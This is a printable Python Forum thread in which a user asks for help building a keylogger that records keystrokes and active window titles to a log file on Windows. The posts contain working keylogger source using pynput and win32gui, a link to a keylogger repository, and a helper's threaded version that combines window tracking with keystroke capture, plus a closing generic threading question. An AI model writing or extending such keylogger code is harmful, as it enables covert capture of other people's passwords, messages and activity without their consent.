Python Forum
getting windows title and keystrokes !! - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: General Coding Help (https://python-forum.io/forum-8.html)
+--- Thread: getting windows title and keystrokes !! (/thread-14192.html)



getting windows title and keystrokes !! - evilcode1 - Nov-19-2018

hello there .... im trying to code a simple keylogger that log the key strokes and active windows titles : this is my code :

# -*- coding: utf-8 -*-
from pynput.keyboard import Listener 
import time
from win32gui import GetWindowText, GetForegroundWindow
import datetime



moment=time.strftime("%Y-%b-%d__%H_%M_%S",time.localtime())



def writetofile(key):


    keydata = str(key)
    keydata = keydata.replace("u" , "")
    keydata = keydata.replace("'" , "")

 
   
            
        
   
    with open("Log " + moment + ".txt" , "a") as qan:
        
        d = qan.write(keydata)
       
        


        

with Listener(on_press= writetofile ) as l:
    l.join()

def get_titles():

    current_title = None
    while True:
        moment2 = datetime.datetime.now().strftime("%Y-%b-%d [ %H:%M:%S.%f ]")
        new_title = GetWindowText(GetForegroundWindow())
        if new_title != current_title:
            if len(new_title) > 0:
                
                #logging.info(" Moved to : " + new_title)
                current_title = new_title
                time.sleep(0.1)
                #print(new_title)
                ff= (moment2 + " : " +  "Moved T0 : "+ new_title)
                print ff
             

get_titles()
i dont know how to add windows titles to my .txt file with key strokes !!
i need them like this :
Output:
2018-Nov-19 [ 02:36:49.767000 ] : Moved T0 : token.py - geckodriver-v0.23.0-win64 - Visual Studio Code \n www.google.comKey.tabkey.Spaceheywwwwpython 2018-Nov-19 [ 02:38:04.626000 ] : Moved T0 : Run 555552000520



RE: getting windows title and keystrokes !! - evilcode1 - Nov-20-2018

Help please !!


RE: getting windows title and keystrokes !! - Larz60+ - Nov-20-2018

You may want to download this code: https://github.com/surrealcristian/kl
and look at how they did it, or use as is.


RE: getting windows title and keystrokes !! - snippsat - Nov-20-2018

As you have two function both running a while(forever) loop,they will block running this together.
The easiest an first step is look into Threading.

I can do a test to see if i can run this together.
Testing this do work,can get title of Gui window and when start typing get keys.
So the basic work,you have to look into saving this to disk.
from pynput.keyboard import Key, Listener
import time
from win32gui import GetWindowText, GetForegroundWindow
import datetime
from threading import Thread

def on_press(key):
    print('{0} pressed'.format(key))

def on_release(key):
    print('{0} release'.format(key))
    if key == Key.esc:
        # Stop listener
        return False

def get_titles():
    current_title = None
    while True:
        moment2 = datetime.datetime.now().strftime("%Y-%b-%d [ %H:%M:%S.%f ]")
        new_title = GetWindowText(GetForegroundWindow())
        if new_title != current_title:
            if len(new_title) > 0:
                #logging.info(" Moved to : " + new_title)
                current_title = new_title
                time.sleep(0.1)
                #print(new_title)
                ff= (moment2 + " : " +  "Moved T0 : "+ new_title)
                print(ff)

def key_lissen():
     with Listener(
            on_press=on_press,
            on_release=on_release) as listener:
        listener.join()

if __name__ == '__main__':
    Thread(target=get_titles).start()
    Thread(target=key_lissen).start()
Output:
2018-Nov-20 [ 21:42:55.739615 ] : Moved T0 : uten navn - Notisblokk 2018-Nov-20 [ 21:42:55.840613 ] : Moved T0 : duck_go.py - div_code - Visual Studio Code 'j' pressed 'j' release 'j' pressed 'j' release 2018-Nov-20 [ 21:43:30.123032 ] : Moved T0 : npm - python key_t.py 2018-Nov-20 [ 21:43:38.954883 ] : Moved T0 : ● duck_go.py - div_code - Visual Studio Code 't' pressed 't' release 'e' pressed 'e' release 's' pressed 's' release 't' pressed



RE: getting windows title and keystrokes !! - evilcode1 - Nov-22-2018

thank u for help ... but im trying to learn threading i write this simple code but its not working its just run one function !!
code :
import threading
import time


def qan(hey):
    while True:

        d = hey + 1
        print d
        time.sleep(1)


def printd(printme):
    while True:
        print printme + "\n"
        time.sleep(1)


t1 = threading.Thread(target=qan, args=(1,))
t2 = threading.Thread(target=printd, args=("hey",))
t2.start()
t1.start()







 
can i know where is the problem in my code ?

Output:
hey 2 2 hey 2hey 2